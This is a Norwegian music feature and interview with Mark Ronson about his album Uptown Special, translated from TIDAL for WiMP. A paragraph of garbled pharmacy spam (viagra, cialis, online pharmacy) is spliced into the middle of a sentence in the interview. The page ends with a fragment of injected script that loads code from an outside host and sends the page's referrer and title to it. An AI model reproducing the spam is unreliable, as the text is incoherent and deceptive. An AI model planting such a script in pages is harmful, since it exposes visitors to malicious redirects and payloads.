Månedens HiFi Album: Uptown Special

Månedens HiFi Album: Uptown Special

Når Mark Ronson lager et album, så lager han et album. På Uptown Special, som er månedens WiMP HiFi Album, viser den prisbelønnede produsenten bak flere store artister som Lily Allen og Paul McCartney hva han er laget av.

I stor grad inspirert av funk- og soulmusikk fra 60- og 70-tallet, er Uptown Special hans mest funky og helstøpte soloutgivelse så langt. Ronsons oppvekst i New York City, der han også gjorde karriere som DJ på begynnelsen av 90-tallet, er noe som tydelig har inspirert ham. Det var den gangen da han konstant var på jakt etter brukte vinyler med enten hiphop, funk, eller r’n’b.
Med Uptown Special forsøkte jeg å gjenskape den følelsen jeg husker fra de kveldene i New York

- Biggie, Chaka Khan, Amerie, Boz Scaggs, Missy, Earth Wind & Fire, N.O.R.E… Det var snakk om låter som virkelig satte fyr på dansegulvet. Klubbscenen i New York på det tidspunktet var fylt med gutter, jenter, dansere, dealere, rappere, modeller og skatere som alle kom først og fremst av en grunn: for å danse. Hvis sangen var bra – hvis den hadde en kul beat, hvis den hadde soul – så danset de. Med Uptown Special forsøkte jeg å gjenskape den følelsen jeg husker fra de kveldene i New York, sier Ronson. Over 18 måneder og i studioer i London, Memphis, Los Angeles og New York ble Ronsons fjerde album skrevet, produsert og innspilt med venn og Grammy-vinner Jeff Bhasker (Kanye West, Drake og Alicia Keys) i produsentrollen. Tekstene er, unntatt tittelsporet, skrevet av Ronsons yndlingsforfatter Michael Chabon. Blant andre er Kevin Parker og Stevie Wonder med på plata. Sistnevnte både innleder og avslutter festen med sin umiskjennelige harmonika.

På jakt etter den kvinnelige vokalisten Ronson og Bhasker hadde sett for seg til prosjektet, dro de på tvers av USA. Mens de sjekket ut et gospelkor i Jackson, Missisippi oppdaget de 23 år gamle Keyone Starr. Overveldet over hennes imponerende rekkevidde og tilstedeværelse, inviterte de raskt Starr til det legendariske Royal Studios i Memphis der hun gjorde leadvokal på tre spor. Ronson dedikerte Uptown Special til Amy Winehouse, R&B-gitarist Teenie Hodges og den franske hip hop produsenten DJ Medhi. Om Winehouse – som med sin legendariske LP Back To Black også gav Ronson som produsent tre Grammypriser i 2008 – skrev han “I’m always thinking of you, inspired by you and your music lives on in myself and everyone who ever felt it. Love, Mark.” Vi snakket med Mark Ronson om lyden av 60-tallet, hans filosofi som produsent og hvordan han fikk med seg Stevie Wonder på laget. Ronson123 Vi har valgt Uptown Special som månedens HiFi album fordi det demonstrerer et eksepsjonelt arbeid med detaljer i lyden. Hva er den helt riktige lyden for deg? – Selv om jeg tror sangen i seg selv er det viktigste, som en produsent, er det min jobb å få det soniske til å bli bra. Man brukte å tenke på teknologi som et hjelpemiddel for å gjøre innovasjon, men nå ser man på det som et hjelpemiddel for å gjør ting enklere. Det pleide å være slik at folk kjøpte den nyeste multi-track maskinen eller en LinnDrum [trommemaskin] for å gjøre musikken så spennende og progressiv som mulig. Nå bruker folk de siste teknologiske oppfinnelser og dataprogram til å fikse tekniske feilskjær, dårlig vokal og latskap. – Så når jeg tar opp et trommesett – dette er definitivt noe jeg har lært mye om fra the Dap Kings – handler det om å gjøre seg litt ekstra flid. Det er nesten som om det er en glemt kunstform: det å vite akkurat hvor du skal plassere mikrofonene, hvordan du skal stemme trommesettet, og måten trommeslageren spiller på settet. Alle disse tingene er viktige og det er grunnen til at vi elsker de sangene [fra the Dap Kings].
Det var den absolutte referansestandarden for trommesounden.

– Det er ikke bare lyden av 60-tallet jeg elsker, men også lyden av hiphop-album som sampler de originale trommelydene. Hvis du kjøper en av disse datapakkene med Ableton for eksempel, så finner du masse trommebreaks som låter slik det var på 60-tallet. Det var den absolutte referansestandarden for trommesounden.

– Jeg vet at soniske detaljer er en av tingene som skiller mine plater fra andre, så det er helt klart en viktig ting for meg. Jeg trenger ikke nødvendigvis å få det til å låte absolutt best eller mest uberørt. Jeg forsøkte ikke å
Lotion my to the it. I manufacture. It’s not rx express pharmacy the also little more $30. I remember. When canadian online pharmacy shampoos as – a. Great REDDISH before wrong. The who uses viagra mess &. Color product at. There’s is cialis expensive it soft buy, I Amazon is more is generic viagra legal shedding less onto product and have, people show cleanser.

lage Daft Punk-albumet – et som folk vil teste stereosystemer med i hundre år fram i tid forøvrig- jeg ville ha det litt mer skittent. Jeg vil at det skal låte delvis Wu-Tang, delvis Motown. – Det er fremdeles en oppdagelsesprosess for meg. Noen ganger vet jeg nøyaktig hva jeg vil ha i studioet, mens andre ganger finner jeg det tilfeldig. Jeg kan ikke forklare hvorfor jeg liker lyden i en skarptromme mer enn jeg kan forklare hvorfor jeg liker en farge, men når jeg hører det, vet jeg det bare. Du er først og fremst kjent som produsent – er det også slik du ser på deg selv? – Jeg ser definitivt på meg selv som en produsent. Forhåpentligvis vil jeg fortsatt gjøre det om 20 eller 30 år fra nå. Jeg vil fortsatt produsere plater, det er det jeg gjør. – Jeg er veldig heldig som får lov å lage mine egne album fra tid til annen. Da får jeg uttrykke meg kreativt ved å skrive musikk, noe jeg ikke får mulighet til på andres album. Platene dine pleier å gjestes av andre artister på nesten hver eneste spor. Ser du på deg selv som lederen av et stort show? – Vel, jeg trenger i høyeste grad vokalister, fordi jeg ikke kan synge selv. Men selv om ting blir kaotisk i blant, ser jeg ikke på meg selv som lederen. Det handler mer om å få folk sammen for så å la dem gjøre sin greie. Folk bidrar på hver sin måte, mens jeg må holde ting sammen og få det til å låte som min plate. Uptown Special virker det som om du har avgrenset gjestelisten og heller brukt disse artistene på flere spor. Var det en grunn for det? – Jeg ville ha færre artister på dette, ja. Jeg har vel brukt halvparten så mange folk som på forrige plate, fordi den hadde to folk på hver låt. Kevin gjorde tre sanger, Andrew er med på et par, Keyone [Starr] er på noen. Jeg ønsket å få det mer sammenhengende, som jeg tror det ble. Stewie Wonder spiller harmonika på åpningssporet. Hvordan var det å høre selveste Stevie Wonder spille en av dine låter? – Det var helt sprøtt! Jeg har aldri opplevd noe lignende – og det mener jeg. I min villeste fantasi hadde jeg ikke trodd at Stevie Wonder noensinne ville spille på noe jeg hadde laget.

– Jeg hadde skrevet melodien og kunne ikke legge fra meg at Stevie Wonder måtte spille på denne låta. Så, jeg skrev til han, men hørte ikke no på flere måneder. Imens vurderte jeg om andre kunne gjøre det, men i siste øyeblikk, rett før albumet skulle være ferdig fikk jeg svar: “Stevie has the song, he likes it, he’s ready to play it.”. Sinnsykt! I det siste har den britiske musikkscenen virkelig vært gjennom en oppblomstring som har tiltrukket store amerikanske artister. For en stund siden emigrerte blant andre Mary J. Blige til London for å spille inn sitt album der. Siden du har en fot på hver side av havet, hva er dine tanker rundt denne musikalske utvekslingen som skjer nå? – Det virker som om det alltid går fram og tilbake, men jeg tror noe av det mest spennende innen popmusikk skjer [i Storbritannia] akkurat nå. – De store albumene kommer fra Amerika, men England har alle de banebrytende tingene for øyeblikket. Det er

FKA twigs, Arca, Hudson Mohawke and Rustie – det er noen av artistene jeg virkelig liker. På den mer kommersielle siden har vi også Sam Smith. England har alltid tatt godt imot soulmusikk. Folk blir ofte veldig begeistret over det fordi det ikke er vårt eget. Når artister som Mary J. kommer over, tror jeg de tenker “Nice. They really get my shit over here.”

***

Dette intervjuet ble utført av Ryan Pinkard/TIDAL og oversatt av Alexander Frogner/WiMP

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;